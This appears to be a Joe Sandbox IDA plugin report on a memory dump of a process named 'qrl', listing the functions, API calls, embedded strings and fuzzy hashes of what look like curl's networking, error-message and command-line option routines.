Protocol option is unsupported, xrefs: 00DDA0B8
Address not available, xrefs: 00DDA0FE
Address family not supported, xrefs: 00DDA0EA
Host not found, xrefs: 00DDA010
Not empty, xrefs: 00DDA196
Address already in use, xrefs: 00DDA0F4
Bad message size, xrefs: 00DDA0A4
Network unreachable, xrefs: 00DDA112
SEC_E_SECPKG_NOT_FOUND, xrefs: 00DDA3D4
Unknown error, xrefs: 00DDA645
Socket is not connected, xrefs: 00DDA14E
Protocol is unsupported, xrefs: 00DDA0C2
Winsock version not supported, xrefs: 00DDA1C7
Connection was reset, xrefs: 00DDA130
Socket has been shut down, xrefs: 00DDA158
SEC_E_NOT_OWNER, xrefs: 00DDA3DE
Bad argument, xrefs: 00DDA068
Network has been reset, xrefs: 00DDA11C
%s (0x%08X), xrefs: 00DDA646
Too many references, xrefs: 00DDA162
Operation not supported, xrefs: 00DDA0D6
Winsock library not initialised, xrefs: 00DDA1CE
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 00DDA3B6
Connection was aborted, xrefs: 00DDA126
Loop??, xrefs: 00DDA17A
Something is stale, xrefs: 00DDA1B2
Timed out, xrefs: 00DDA16C
Network down, xrefs: 00DDA108
Socket is unsupported, xrefs: 00DDA0CC
Host unreachable, xrefs: 00DDA18F
Call interrupted, xrefs: 00DD9FE8
Connection refused, xrefs: 00DDA173
%s - %s, xrefs: 00DDA6C1
Bad protocol, xrefs: 00DDA0AE
Process limit reached, xrefs: 00DDA19D
Protocol family not supported, xrefs: 00DDA0E0
Winsock library is not ready, xrefs: 00DDA1C0
Bad file, xrefs: 00DDA054
SEC_E_INTERNAL_ERROR, xrefs: 00DDA3CA
No data record of requested type, xrefs: 00DDA1EA
Too many users, xrefs: 00DDA1A4
Call would block, xrefs: 00DDA086
Out of file descriptors, xrefs: 00DDA07C
Invalid arguments, xrefs: 00DDA072
Blocking call in progress, xrefs: 00DD9FF4
Unrecoverable error in call to nameserver, xrefs: 00DDA1E3
Bad access, xrefs: 00DDA05E
Disconnected, xrefs: 00DDA1D5
No buffer space, xrefs: 00DDA13A
SEC_E_INSUFFICIENT_MEMORY, xrefs: 00DDA2FC
Host not found, try again, xrefs: 00DDA1DC, 00DDA1F4
Need destination address, xrefs: 00DDA09A
SEC_E_INVALID_HANDLE, xrefs: 00DDA3AC

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLast_errno$strncpystrrchr$strerror
String ID: %s (0x%08X)$%s - %s$Address already in use$Address family not supported$Address not available$Bad access$Bad argument$Bad file$Bad message size$Bad protocol$Bad quota$Blocking call in progress$Call interrupted$Call would block$Connection refused$Connection was aborted$Connection was reset$Descriptor is not a socket$Disconnected$Host down$Host not found$Host not found, try again$Host unreachable$Invalid arguments$Loop??$Name too long$Need destination address$Network down$Network has been reset$Network unreachable$No buffer space$No data record of requested type$Not empty$Operation not supported$Out of file descriptors$Process limit reached$Protocol family not supported$Protocol is unsupported$Protocol option is unsupported$Remote error$SEC_E_CANNOT_INSTALL$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_NOT_OWNER$SEC_E_SECPKG_NOT_FOUND$SEC_E_TARGET_UNKNOWN$SEC_E_UNSUPPORTED_FUNCTION$Socket has been shut down$Socket is already connected$Socket is not connected$Socket is unsupported$Something is stale$Timed out$Too many references$Too many users$Unknown error$Unknown error %d (%#x)$Unrecoverable error in call to nameserver$Winsock library is not ready$Winsock library not initialised$Winsock version not supported
API String ID: 3913568843-2339563239
Opcode ID: cdc7fc3850be71c4f63dfcca40779151e9ddb7892a418c9116df32bb0e819e53
Instruction ID: a36a5722c6e3a1e1d7837e048976ddf9ada441f5becb95e5d50375f256b922df
Opcode Fuzzy Hash: cdc7fc3850be71c4f63dfcca40779151e9ddb7892a418c9116df32bb0e819e53
Instruction Fuzzy Hash: EEA14B7030A341EBD6206ADCDD4576A766AEB51701F188027FDC69B344FAA1DE40D773

Function 00DC3120 Relevance: 51.2, APIs: 20, Strings: 9, Instructions: 454stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00DC317A
strlen.MSVCRT ref: 00DC31A2
strpbrk.MSVCRT ref: 00DC31C7
malloc.MSVCRT ref: 00DC3202
strncpy.MSVCRT ref: 00DC3217
strncmp.MSVCRT ref: 00DC323A
strlen.MSVCRT ref: 00DC3337
malloc.MSVCRT ref: 00DC3343
strncpy.MSVCRT ref: 00DC3358
free.MSVCRT ref: 00DC3604
strlen.MSVCRT ref: 00DC3611
free.MSVCRT ref: 00DC361E

Strings

PRN, xrefs: 00DC342F
LPT, xrefs: 00DC34AB
AUX, xrefs: 00DC344C
NUL, xrefs: 00DC3465
CON, xrefs: 00DC3412
COM, xrefs: 00DC3497
\\?\, xrefs: 00DC3234
CLOCK$, xrefs: 00DC347E
\/:, xrefs: 00DC31C1, 00DC3397, 00DC3545

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$freemallocstrncpy$strncmpstrpbrk
String ID: AUX$CLOCK$$COM$CON$LPT$NUL$PRN$\/:$\\?\
API String ID: 2260474773-1589196987
Opcode ID: 44ed636bef213f746682de57001fca186cd30c8f160d50599855554dd2a70b6a
Instruction ID: 44cded4737a3dfce52f2e3b5ee15e5022dcc5c86630c0bc418fa9cbc96f8c958
Opcode Fuzzy Hash: 44ed636bef213f746682de57001fca186cd30c8f160d50599855554dd2a70b6a
Instruction Fuzzy Hash: 84D128B1A443826BEF3155649C81FBB72D98F66704F0C803CEDC587382E625DF458672

Function 00DCEB10 Relevance: 51.0, APIs: 5, Strings: 24, Instructions: 266stringCOMMON

Download Yara Rule

APIs

_strdup.MSVCRT(?,?,?,?,?,00DC8401,?,?), ref: 00DCEB26
strtok.MSVCRT(00000000,010690B0), ref: 00DCEB3E
strtok.MSVCRT(00000000,010690B0), ref: 00DCEE8E
free.MSVCRT ref: 00DCEEA1
free.MSVCRT ref: 00DCEEAE

Strings

unrecognized protocol '%s', xrefs: 00DCEE70
telnet, xrefs: 00DCEC7D
smtps, xrefs: 00DCEDA6
https, xrefs: 00DCEBF6
pop3s, xrefs: 00DCED70
http, xrefs: 00DCEBDB
smbs, xrefs: 00DCEE02
ftp, xrefs: 00DCEC11
ldap, xrefs: 00DCEC98
ftps, xrefs: 00DCEC2C
file, xrefs: 00DCECE9
imap, xrefs: 00DCED1F
all, xrefs: 00DCEBC0
dict, xrefs: 00DCECCE
tftp, xrefs: 00DCED04
ldaps, xrefs: 00DCECB3
rtsp, xrefs: 00DCEDBD
sftp, xrefs: 00DCEC62
gopher, xrefs: 00DCEDD4
imaps, xrefs: 00DCED3A
scp, xrefs: 00DCEC47
pop3, xrefs: 00DCED55
smb, xrefs: 00DCEDEB
smtp, xrefs: 00DCED8B

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: freestrtok$_strdup
String ID: all$dict$file$ftp$ftps$gopher$http$https$imap$imaps$ldap$ldaps$pop3$pop3s$rtsp$scp$sftp$smb$smbs$smtp$smtps$telnet$tftp$unrecognized protocol '%s'
API String ID: 1031179057-350857173
Opcode ID: 5c775f57953f0de3e6ed7b3c1972e32327c81b3a5c2038db23af764570d20953
Instruction ID: be06fd31dd681e086beeddfb1fd92e2d5441b46ba57777fea0ad4117977af2d1
Opcode Fuzzy Hash: 5c775f57953f0de3e6ed7b3c1972e32327c81b3a5c2038db23af764570d20953
Instruction Fuzzy Hash: D47196E5B40306AAEB102671AC56F3B2B4D9A6178CF18082DFD86AF783F975DD044672

Function 00DC1B10 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 346fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00DC1B6B
fflush.MSVCRT ref: 00DC1B7E
memchr.MSVCRT ref: 00DC1EBE

Strings

filename=, xrefs: 00DC1BF2
Content-disposition:, xrefs: 00DC1BB8
Failed to rename %s -> %s: %s, xrefs: 00DC1DD1
%.*s:, xrefs: 00DC1ED4

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: fflushfwritememchr
String ID: %.*s:$Content-disposition:$Failed to rename %s -> %s: %s$filename=
API String ID: 2783944976-1855582235
Opcode ID: 10734d9ef79630bdd9df08221b1ce7a98179e626163b2c8ce1b923cb90272f6b
Instruction ID: 1b28c503b552db916f321fb9a873fa5996a9e03c05948cb1e09896755aaabfd7
Opcode Fuzzy Hash: 10734d9ef79630bdd9df08221b1ce7a98179e626163b2c8ce1b923cb90272f6b
Instruction Fuzzy Hash: 4AB1C7B9600313ABEB219F249D84F6B76A8AF62344F0C452CFC8997252E771DD54C7B2

Function 00DC15D0 Relevance: 44.2, APIs: 10, Strings: 15, Instructions: 409stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DD15C0: GetTickCount.KERNEL32 ref: 00DD15C0

time.MSVCRT(00000000), ref: 00DC160C
localtime.MSVCRT(?), ref: 00DC162D
strcmp.MSVCRT ref: 00DC1724
strcmp.MSVCRT ref: 00DC173A
fopen.MSVCRT ref: 00DC1750

Strings

<= Recv SSL data, xrefs: 00DC18D3
<= Recv header, xrefs: 00DC18BE, 00DC18FA
%04zx: , xrefs: 00DC1931
%s%s , xrefs: 00DC16E4, 00DC17C2, 00DC1869, 00DC1ABC
%s%s, %zu bytes (0x%zx), xrefs: 00DC18FC
Failed to create/open output, xrefs: 00DC1767
=> Send SSL data, xrefs: 00DC18DA
%s== Info: %s, xrefs: 00DC1795
%02x , xrefs: 00DC196C
<= Recv data, xrefs: 00DC18C5
%02d:%02d:%02d.%06ld , xrefs: 00DC1642
=> Send header, xrefs: 00DC1783
>{}, xrefs: 00DC185F, 00DC1AB6
=> Send data, xrefs: 00DC18CC
[%zu bytes data], xrefs: 00DC16F7

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strcmp$CountTickfopenlocaltimetime
String ID: %02d:%02d:%02d.%06ld $%02x $%04zx: $%s%s $%s%s, %zu bytes (0x%zx)$%s== Info: %s$<= Recv SSL data$<= Recv data$<= Recv header$=> Send SSL data$=> Send data$=> Send header$>{}$Failed to create/open output$[%zu bytes data]
API String ID: 1854772924-2919892447
Opcode ID: 1bbe67c131eeb4f8977a7f47234b131c6a63d6967b80f3b417539e17e3734828
Instruction ID: 2f051f8285db91c0ffda7236ab014b5ba85e2f2a7a0ea16836cb837a6cec7ecc
Opcode Fuzzy Hash: 1bbe67c131eeb4f8977a7f47234b131c6a63d6967b80f3b417539e17e3734828
Instruction Fuzzy Hash: 95C1F478A08316EFDB249B548881F67B7D6EF96304F08482DF88587243E671D945CBB6

Function 00DCBC34 Relevance: 42.3, APIs: 12, Strings: 12, Instructions: 298COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DCA201
fclose.MSVCRT ref: 00DCA233
free.MSVCRT ref: 00DCA24C
fclose.MSVCRT ref: 00DCAF92
free.MSVCRT ref: 00DCB116
free.MSVCRT ref: 00DCB12A
_close.MSVCRT ref: 00DCB145
free.MSVCRT ref: 00DCE274

Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD029F
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02B5
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02CB
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02E1
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD02F7
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD030D
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD0323
Part of subcall function 00DD0260: strcmp.MSVCRT ref: 00DD0339

Part of subcall function 00DD0260: free.MSVCRT ref: 00DD04BD

free.MSVCRT ref: 00DCE305
free.MSVCRT ref: 00DCE32F
free.MSVCRT ref: 00DCE341
free.MSVCRT ref: 00DCE353

Strings

t70, xrefs: 00DCB183
(%d) Failed writing body, xrefs: 00DCAFC9
Hj, xrefs: 00DCADB6
CURLOPT_TRANSFER_ENCODING, xrefs: 00DCBD95
CURLOPT_HTTP_VERSION, xrefs: 00DCBCD9
CURLOPT_ACCEPT_ENCODING, xrefs: 00DCBD61
P"-, xrefs: 00DCE318
CURLOPT_MAXREDIRS, xrefs: 00DCBC91
CURLOPT_HEADEROPT, xrefs: 00DCBC62
CURLOPT_POSTREDIR, xrefs: 00DCBD2A
CURLOPT_HTTP09_ALLOWED, xrefs: 00DCBDC7
CURLOPT_PROXYHEADER, xrefs: 00DCBC3A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$strcmp$fclose$_close
String ID: (%d) Failed writing body$CURLOPT_ACCEPT_ENCODING$CURLOPT_HEADEROPT$CURLOPT_HTTP09_ALLOWED$CURLOPT_HTTP_VERSION$CURLOPT_MAXREDIRS$CURLOPT_POSTREDIR$CURLOPT_PROXYHEADER$CURLOPT_TRANSFER_ENCODING$P"-$t70$Hj
API String ID: 3512857261-4171261797
Opcode ID: 7a9963bace8624a26b112a2045ac13f40afd2bf0f579f7e9f4a3eb39033ce245
Instruction ID: b35723752a5212114c20ae771bb538744e6c395bda202a40cc9b6d17e0685b93
Opcode Fuzzy Hash: 7a9963bace8624a26b112a2045ac13f40afd2bf0f579f7e9f4a3eb39033ce245
Instruction Fuzzy Hash: 39C17FF16083429BEB209F24CC46F5BBBE5AF90708F18482DF5899B261E775D844DB63

Function 00DCFC40 Relevance: 40.9, APIs: 8, Strings: 19, Instructions: 366stringCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DCFCBC
free.MSVCRT ref: 00DCFD86
free.MSVCRT ref: 00DCFDDA
free.MSVCRT ref: 00DCFF23
free.MSVCRT ref: 00DCFF65
free.MSVCRT ref: 00DCFFA8

Part of subcall function 00DCFC40: free.MSVCRT ref: 00DCFED9

strcmp.MSVCRT ref: 00DD0086

Strings

curl_mime_data(part%d, "%s", %I64d);, xrefs: 00DCFDB7
curl_mime_data(part%d, "%s", CURL_ZERO_TERMINATED);, xrefs: 00DD00A4
curl_mime_subparts(part%d, mime%d);, xrefs: 00DCFE93
curl_mime_free(mime%d);, xrefs: 00DCFCA3
curl_mime *mime%d;, xrefs: 00DCFC59
part%d = curl_mime_addpart(mime%d);, xrefs: 00DCFD21
curl_mime_filedata(part%d, "%s");, xrefs: 00DCFDFC
curl_mime_name(part%d, "%s");, xrefs: 00DCFF87
curl_mime_type(part%d, "%s");, xrefs: 00DCFFCA
curl_mime_headers(part%d, slist%d, %d);, xrefs: 00DD000E
mime%d = curl_mime_init(hnd);, xrefs: 00DCFC8B
curl_mime_filename(part%d, NULL);, xrefs: 00DD00D6
curl_mime_encoder(part%d, "%s");, xrefs: 00DCFEFD
curl_mime_filename(part%d, "%s");, xrefs: 00DCFF44
curl_mime_data_cb(part%d, -1, (curl_read_callback) fread, \, xrefs: 00DCFE30
curl_mimepart *part%d;, xrefs: 00DCFCF4
mime%d = NULL;, xrefs: 00DCFC73, 00DCFCD0, 00DCFEAE
slist%d = NULL;, xrefs: 00DD0033
(curl_seek_callback) fseek, NULL, stdin);, xrefs: 00DCFE4A

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$strcmp
String ID: (curl_seek_callback) fseek, NULL, stdin);$curl_mime *mime%d;$curl_mime_data(part%d, "%s", %I64d);$curl_mime_data(part%d, "%s", CURL_ZERO_TERMINATED);$curl_mime_data_cb(part%d, -1, (curl_read_callback) fread, \$curl_mime_encoder(part%d, "%s");$curl_mime_filedata(part%d, "%s");$curl_mime_filename(part%d, "%s");$curl_mime_filename(part%d, NULL);$curl_mime_free(mime%d);$curl_mime_headers(part%d, slist%d, %d);$curl_mime_name(part%d, "%s");$curl_mime_subparts(part%d, mime%d);$curl_mime_type(part%d, "%s");$curl_mimepart *part%d;$mime%d = NULL;$mime%d = curl_mime_init(hnd);$part%d = curl_mime_addpart(mime%d);$slist%d = NULL;
API String ID: 507678545-2381200950
Opcode ID: 63a050602c1adb047228a819c27cfe0093ff5d07af6193c1d2c981301c78ebeb
Instruction ID: 20161432089918213ee9f00b2657becfe806da317f104023367c4e48f72696cf
Opcode Fuzzy Hash: 63a050602c1adb047228a819c27cfe0093ff5d07af6193c1d2c981301c78ebeb
Instruction Fuzzy Hash: E1C124B1B04346AFEB20AB659D82FAAB79ADF50354F08413EFD9487242F371CD548672

Function 00DCA7DA Relevance: 40.5, APIs: 16, Strings: 7, Instructions: 257filestringCOMMON

Download Yara Rule

APIs

_strdup.MSVCRT(?), ref: 00DCA7DE
fwrite.MSVCRT ref: 00DCAA42
fclose.MSVCRT ref: 00DCAF92
free.MSVCRT ref: 00DCB116
free.MSVCRT ref: 00DCB12A
strcmp.MSVCRT ref: 00DCE18E
free.MSVCRT ref: 00DCE1D3

Strings

t70, xrefs: 00DCB183
(%d) Failed writing body, xrefs: 00DCAFC9
P"-, xrefs: 00DCE318
<, xrefs: 00DCAA4A
curl: (%d) %s, xrefs: 00DCAA19
More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione, xrefs: 00DCAA3D
bad output glob!, xrefs: 00DCE1E7

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$_strdupfclosefwritestrcmp
String ID: (%d) Failed writing body$<$More details here: https://curl.haxx.se/docs/sslcerts.htmlcurl failed to verify the legitimacy of the server and therefore could notestablish a secure connection to it. To learn more about this situation andhow to fix it, please visit the web page mentione$P"-$bad output glob!$curl: (%d) %s$t70
API String ID: 97970600-567622460
Opcode ID: 67630d099b82271a3e57d4e244e6141d77d0ff48defdb37994c275a4dc4c8652
Instruction ID: 1fead4af19ca0ba10971a03de8a37d830d14f96cb538ae2dfbbfe1fff75b7f23
Opcode Fuzzy Hash: 67630d099b82271a3e57d4e244e6141d77d0ff48defdb37994c275a4dc4c8652
Instruction Fuzzy Hash: E5A171F16083429FEB209F64C845F5BB7E4AF90318F08892DF48957251E775D948DBA3

Function 00DCA5DD Relevance: 38.8, APIs: 17, Strings: 5, Instructions: 275stringfileCOMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00DCA201
fclose.MSVCRT ref: 00DCA233
free.MSVCRT ref: 00DCA24C
strcmp.MSVCRT ref: 00DCA63A
strcmp.MSVCRT ref: 00DCA8CA
fwrite.MSVCRT ref: 00DCAA42
_fileno.MSVCRT ref: 00DCAB4A
_isatty.MSVCRT ref: 00DCAB53
strstr.MSVCRT ref: 00DCAC03
strrchr.MSVCRT ref: 00DCAC16
strchr.MSVCRT ref: 00DCAC25
free.MSVCRT ref: 00DCAC6D
strcmp.MSVCRT ref: 00DCACA1
fclose.MSVCRT ref: 00DCAF92
free.MSVCRT ref: 00DCB116
free.MSVCRT ref: 00DCB12A
_close.MSVCRT ref: 00DCB145
_strdup.MSVCRT(00000000), ref: 00DCE127
_strdup.MSVCRT(00000000), ref: 00DCE152
strcmp.MSVCRT ref: 00DCE18E
free.MSVCRT ref: 00DCE1D3
free.MSVCRT ref: 00DCE274
free.MSVCRT ref: 00DCE305
free.MSVCRT ref: 00DCE32F
free.MSVCRT ref: 00DCE341
free.MSVCRT ref: 00DCE353

Strings

t70, xrefs: 00DCB183
(%d) Failed writing body, xrefs: 00DCAFC9
P"-, xrefs: 00DCE318
9, xrefs: 00DCA684
bad output glob!, xrefs: 00DCE1E7

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: free$strcmp$_strdupfclose$_close_fileno_isattyfwritestrchrstrrchrstrstr
String ID: (%d) Failed writing body$P"-$bad output glob!$t70$9
API String ID: 4284395340-3740193650
Opcode ID: 8aff00209b3a20d7b61219bd1481a748a0fe2530c2f11b40ce9a6bb3c6553c07
Instruction ID: e95335cc5e48c70aacaf8aead6ebc7e324b178832bf6bab00ca8309ee57227eb
Opcode Fuzzy Hash: 8aff00209b3a20d7b61219bd1481a748a0fe2530c2f11b40ce9a6bb3c6553c07
Instruction Fuzzy Hash: 94B14DF06083428FEB209F65C955B5BBBE4AF90308F18492DE4C987250D776D948DFA3

Function 00DEE020 Relevance: 37.1, APIs: 11, Strings: 10, Instructions: 350stringCOMMON

Download Yara Rule

APIs

sscanf.MSVCRT ref: 00DEE08A
strlen.MSVCRT ref: 00DEE0D9

Strings

Couldn't parse CURLOPT_RESOLVE removal entry '%s'!, xrefs: 00DEE2D7
RESOLVE %s:%d is wildcard, enabling wildcard checks, xrefs: 00DEE3F3
*, xrefs: 00DEE3D4
RESOLVE %s:%d is - old addresses discarded!, xrefs: 00DEE353
%s:%d, xrefs: 00DEE09F, 00DEE2B2
Resolve address '%s' found illegal!, xrefs: 00DEE415
@*2v, xrefs: 00DEE0C1, 00DEE301
